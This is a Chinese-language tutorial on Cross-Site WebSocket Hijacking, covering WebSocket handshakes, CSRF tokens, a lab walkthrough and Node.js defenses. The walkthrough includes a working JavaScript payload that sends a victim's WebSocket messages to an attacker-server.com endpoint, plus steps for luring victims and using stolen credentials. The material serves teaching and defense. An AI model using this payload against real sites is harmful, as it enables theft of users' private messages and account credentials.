WebSocket劫持(CSWSH)攻击详解
1. 什么是WebSocket劫持(CSWSH)
WebSocket劫持全称为跨站点WebSocket劫持(Cross-Site WebSocket Hijacking, CSWSH),也称为跨源WebSocket劫持。这是一种涉及WebSocket握手上的跨站点请求伪造(CSRF)漏洞。
1.1 漏洞产生条件
当WebSocket握手请求满足以下条件时,就可能存在CSWSH漏洞:
- 仅依赖HTTP cookie进行会话处理
- 不包含任何CSRF令牌
- 没有其他不可预测的值
1.2 攻击原理
攻击者可以在自己的域中创建恶意网页,从而与易受攻击的应用程序建立跨站点WebSocket连接。应用程序将在受害者用户与应用程序的会话上下文中处理连接。
攻击者的页面可以通过连接:
- 向服务器发送任意消息
- 读取从服务器收到的消息内容
与常规CSRF不同,CSWSH使攻击者能够与受感染应用程序进行双向交互。
2. WebSocket基础知识
2.1 WebSocket简介
WebSocket是通过HTTP启动的双向、全双工通信协议,常用于:
- 现代Web应用程序中的流式数据传输
- 异步流量处理
- 网站中的聊天机器人等实时交互功能
2.2 WebSocket与HTTP的区别
| 特性 | WebSocket | HTTP |
|---|---|---|
| 协议类型 | 基于TCP的应用层协议 | 应用层协议 |
| 连接方式 | 基于HTTP握手,建立单TCP连接 | 每个请求单独事务 |
| 通信模式 | 全双工,双向通信 | 半双工,请求-响应模式 |
| 连接生命周期 | 长期存在,保持打开状态 | 通常立即完成,事务结束 |
| 适用场景 | 需要低延迟或服务器发起消息 | 传统请求-响应交互 |
2.3 WebSocket连接建立过程
WebSocket连接建立需要三个环节:
- 连接请求 - 浏览器发出WebSocket握手请求
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
- 握手响应 - 服务器返回WebSocket握手响应
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
- 连接建立 - 网络连接保持打开状态,可用于双向消息传输
客户端发送消息:
ws.send("Peter Wiener");
服务器通常以JSON格式回复:
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up..."}
客户端JavaScript定义连接:
var ws = new WebSocket("wss://normal-website.com/chat");
3. CSRF令牌机制
3.1 CSRF攻击示例
假设场景:
- 用户登录网上银行
www.mybank.com - 转账请求格式为
www.mybank.com/transfer?to=<账号>;amount=<金额> - 用户访问恶意网站
www.cute-cat-pictures.org - 恶意网站包含请求
www.mybank.com/transfer?to=123456;amount=10000 - 浏览器发送请求并附带用户的
mybank.comcookie,完成非法转账
3.2 CSRF令牌的作用
CSRF令牌通过以下方式防止攻击:
- 扩展请求参数:
www.mybank.com/transfer?to=123456;amount=10000;token=314159265358... - 令牌是巨大的、无法预测的随机数
- 每次提供页面时生成不同的令牌
- 错误的令牌会导致请求被拒绝
3.3 CSRF令牌生成原理
CSRF令牌通常具有以下特性:
- 使用伪随机数生成器(pseudo-random number generator)
- 结合静态密钥和种子时间戳
- 每个用户的令牌不同
- 只存储活动的用户会话
- 通过将随机数生成器输出与用户特定熵连接,并进行散列处理
3.4 CSRF令牌代码示例
PHP生成CSRF令牌的部分代码特征:
class CsrfToken {
private $key = 'default';
private $shuffleStr = "abcdefghijklmnopqrstuvwxyzABCD...";
private $options = [
"prefix"=>"csrf_token:",
"cookie_token"=>"_hash_token_",
"expire"=>1800,
"token_len"=>24,
"path"=>"/",
"secure"=>false,
"httponly"=>false,
"dimain"=>""
];
public function generateToken() {
$originStr = str_shuffle($this->shuffleStr);
$temp = mb_substr($originStr,0,$this->options['token_len']);
$temp .= uniqid().time();
$csrfToken = sprintf("%s-%s",sha1($temp),$this->getExpireTime());
return $csrfToken;
}
}
3.5 CSRF cookie常用全局变量
CSRF_COOKIE_NAME = 'csrftoken' # 默认的key名称
CSRF_COOKIE_AGE = 60 * 60 * 24 * 7 * 52 # 存活时间
CSRF_COOKIE_DOMAIN = None # 生效域名
CSRF_HEADER_NAME = 'HTTP_X_CSRFTOKEN' # 请求头名称
4. WebSocket劫持的影响
4.1 主要危害
-
伪装用户执行未经授权操作
- 攻击者可向服务器端应用程序发送任意消息
- 如果应用程序使用客户端生成的WebSocket消息执行敏感操作,攻击者可跨域生成合适消息并触发这些操作
-
检索用户敏感数据
- 通过被劫持的WebSocket与易受攻击应用程序进行双向交互
- 拦截服务器生成的WebSocket消息,捕获受害用户数据
4.2 与传统CSRF的区别
| 特性 | WebSocket劫持 | 传统CSRF |
|---|---|---|
| 交互方式 | 双向交互 | 单向请求 |
| 数据获取 | 可读取服务器响应 | 无法读取响应 |
| 攻击复杂度 | 较高 | 较低 |
5. WebSocket劫持实例分析
5.1 靶场环境
- 在线商店具有使用WebSockets实现的实时聊天功能
- 目标:利用漏洞窃取受害者的聊天记录并访问其账户
5.2 攻击步骤
-
观察WebSocket握手请求
- 检查
/chat端点请求是否包含CSRF令牌 - 示例请求:
GET /chat HTTP/1.1 Host: vulnerable-site.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A== Connection: keep-alive, Upgrade Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2 Upgrade: websocket- 确认无CSRF令牌保护
- 检查
-
构造恶意负载
<script> var ws = new WebSocket('wss://vulnerable-site.com/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://attacker-server.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script>- 替换
wss://vulnerable-site.com/chat为实际目标URL - 替换
https://attacker-server.com为攻击者控制的服务器
- 替换
-
使用Burp Collaborator
- Burp Collaborator作为外部服务器记录交互
- 工作流程:
- Burp发送payload给目标程序
- 目标程序解析并访问Collaborator服务器
- Collaborator记录访问请求和响应信息
- Burp轮询Collaborator获取交互信息
-
实施攻击
- 将恶意脚本托管在漏洞利用服务器
- 诱使受害者访问恶意页面
- 通过Collaborator Client轮询获取窃取的数据
-
结果分析
- 在Collaborator的响应报文中查找账号密码等敏感信息
- 使用获取的凭证访问受害者账户
5.3 关键工具使用
Burp Collaborator Client使用步骤:
- 通过Burp菜单栏访问
Burp > Burp Collaborator Client - 点击"Copy to clipboard"复制生成的payload URL
- 在恶意脚本中使用该URL作为数据外传端点
- 攻击后点击"Poll now"轮询交互结果
- 查看记录的交互信息,提取敏感数据
6. 防御措施
6.1 基本防御策略
-
使用CSRF令牌
- 在WebSocket握手请求中添加CSRF令牌
- 验证令牌的有效性
-
验证Origin头
- 检查WebSocket连接的Origin头
- 只允许可信域的连接
-
使用会话令牌
- 在WebSocket URL中包含一次性会话令牌
- 令牌不可预测且与用户会话绑定
6.2 代码实现示例
Node.js WebSocket服务器端验证示例:
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });
wss.on('connection', (ws, req) => {
// 验证Origin
const origin = req.headers.origin;
if (!isAllowedOrigin(origin)) {
ws.close();
return;
}
// 验证CSRF令牌
const url = new URL(req.url, `http://${req.headers.host}`);
const csrfToken = url.searchParams.get('csrf_token');
if (!validateCsrfToken(csrfToken)) {
ws.close();
return;
}
// 验证通过,处理连接
ws.on('message', (message) => {
// 处理消息
});
});
6.3 其他防御措施
-
限制WebSocket功能
- 仅允许必要的操作通过WebSocket执行
- 敏感操作应通过传统HTTP请求进行
-
实施同源策略
- 配置服务器只接受来自同源的WebSocket连接
- 使用CSP(Content Security Policy)限制连接源
-
定期更新和审计
- 保持WebSocket库和依赖项更新
- 定期审计WebSocket实现的安全性
7. 总结
WebSocket劫持(CSWSH)是一种严重的Web安全漏洞,它结合了CSRF和WebSocket技术的特性,允许攻击者与目标应用建立双向通信并窃取敏感数据。防御此类攻击需要开发人员在实现WebSocket功能时充分考虑安全性,特别是要实施CSRF保护机制和严格的源验证。通过本文介绍的技术原理、攻击实例和防御措施,开发人员和安全研究人员可以更好地理解和防范WebSocket劫持攻击。